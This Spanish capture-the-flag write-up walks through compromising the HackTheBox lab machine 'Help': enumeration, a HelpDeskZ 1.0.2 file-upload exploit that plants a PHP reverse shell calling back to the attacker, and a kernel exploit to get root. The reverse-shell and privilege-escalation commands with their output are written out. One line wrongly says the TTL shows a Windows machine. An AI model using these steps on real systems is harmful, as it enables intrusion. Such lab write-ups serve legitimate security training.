¡Hola! Vamos a resolver de la máquina Help
de dificultad “Fácil” de la plataforma HackTheBox.
Técnicas Vistas:
- Web Enumeration
- HelpDeskZ 1.0.2 Arbitrary File Upload
- Linux Kernel 4.4.0-116 Privesc exploit [CVE 2017-16995]
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Help
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.121
PING 10.10.10.121 (10.10.10.121) 56(84) bytes of data.
64 bytes from 10.10.10.121: icmp_seq=1 ttl=63 time=42.3 ms
--- 10.10.10.121 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
5
6
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.121 -oG allPorts
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -sCV -p22,80,3000 10.10.10.121 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5bb4d9cdeaf6bbfba8c227ad8d74328 (RSA)
| 256 d5b010507486a39fc5536f3b4a246119 (ECDSA)
|_ 256 e21b88d37621d41e38154a8111b79907 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://help.htb/
3000/tcp open http Node.js Express framework
|_http-title: Site doesn t have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Añadimos help.htb
a nuestro /etc/hosts
Reconocimiento Web
Iniciamos el reconocimiento del servicio web con la herramienta whatweb
la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.
1
2
❯ whatweb http://help.htb
http://help.htb [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.121], Title[Apache2 Ubuntu Default Page: It works]
Accedemos al servicio HTTP por el puerto 80 y observamos la página por defecto de Apache
Con la herramienta GoBuster aplicamos fuzzing para descubrir posibles directorios y localizamos support
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ gobuster dir -u http://help.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://help.htb/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/02/23 11:35:26 Starting gobuster in directory enumeration mode
===============================================================
/support (Status: 301) [Size: 306] [--> http://help.htb/support/]
/javascript (Status: 301) [Size: 309] [--> http://help.htb/javascript/]
Accedemos a la ruta encontrada y vemos un panel de HelpDeskZ
Buscando en Google vemos que es un proyecto OpenSource y localizamos su código en GitHub. Vemos que en la raíz del proyecto hay un archivo UPGRADING.txt
. Verificamos que podemos acceder a este recurso y averiguamos que la versión de HelDeskZ es la 1.0.2
Buscando con searchsploit
localizamos dos vulnerabilidades asociadas a esta versión
1
2
3
4
5
6
7
❯ searchsploit helpdeskz
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
HelpDeskZ 1.0.2 - Arbitrary File Upload | php/webapps/40300.py
HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File Download | php/webapps/41200.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Nos descargamos el script 40300.py
y examinamos su contenido
1
2
3
4
5
6
7
8
9
10
11
12
.
.
.
HelpDeskZ = v1.0.2 suffers from an unauthenticated shell upload vulnerability.
The software in the default configuration allows upload for .php-Files ( !! ). I think the developers thought it was no risk, because the filenames get obfuscated when they are uploaded. However, there is a weakness in the rename function of the uploaded file
/controllers <https://github.com/evolutionscript/HelpDeskZ-1.0/tree/006662bb856e126a38f2bb76df44a2e4e3d37350/controllers>/*submit_ticket_controller.php - Line 141*
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
.
.
.
Examinando el código vemos en la explicación que el software permite subir archivos cpn estensión .php
. Parece que los desarrolladores no le dieron mucha importancia debido a que los nombres de archivos se ofuscan cuando se suben. Sin embargo observando la función que se encarga de ofuscar el nombre del archivo podemos hacer los mismos cálculos por nuestra cuenta y averiguar el nombre del archivo
Explotación HelpDeskZ
Primero nos decargamos el archivo malicioso en PHP de la web de pentestmonkey. Debemos modificar la IP y el puerto con el que entablaremos la reverse shell. Creamos un nuevo ticket en el portal de HelpDeskZ adjuntando nuestro archivo malicioso. Nos ponemos en escucha en el puerto 443 y ejecutamos el exploit 40300.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#EXPLOIT
❯ python2 40300.py http://help.htb/support/uploads/tickets/ php-reverse-shell.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
#LISTENER
❯ sudo nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.227.176] 58332
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
07:10:03 up 4:48, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
/bin/sh: 0: can t access tty; job control turned off
$ id
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
La flag de usuario de bajos privilegios la encontramos en la ruta /home/help
1
2
help@help:/home/help$ cat user.txt
457163eba4d2bb0fc***************
Escalada Privilegios
Enumerando grupos, privilegios de sudoer o archivos con privilegios SUID no logramos encontrar nada interesante. Sin embargo, listamos información del sistema con la herramienta uname
y vemos que el kernel del sistema operativo es un poco antiguo
1
2
help@help:/tmp$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Buscamos por vulnerabilidades asociadas a esta versión de kernel y encontramos un script en C en exploit-db. Nos lo copiamos en la máquina víctima, lo compilamos y ejecutamos
1
2
3
4
5
6
7
8
help@help:/tmp$ nano exploit.c
help@help:/tmp$ gcc exploit.c -o exploit
help@help:/tmp$ ./exploit
task_struct = ffff880036979540
uidptr = ffff8800382ca9c4
spawning root shell
root@help:/tmp# whoami
root
La flag de usuario privilegiado la encontramos en el directorio /root
1
2
root@help:/root# cat root.txt
589487ad4ccb354ba***************
Hemos completado la máquina Help de HackTheBox!! Happy Hacking!!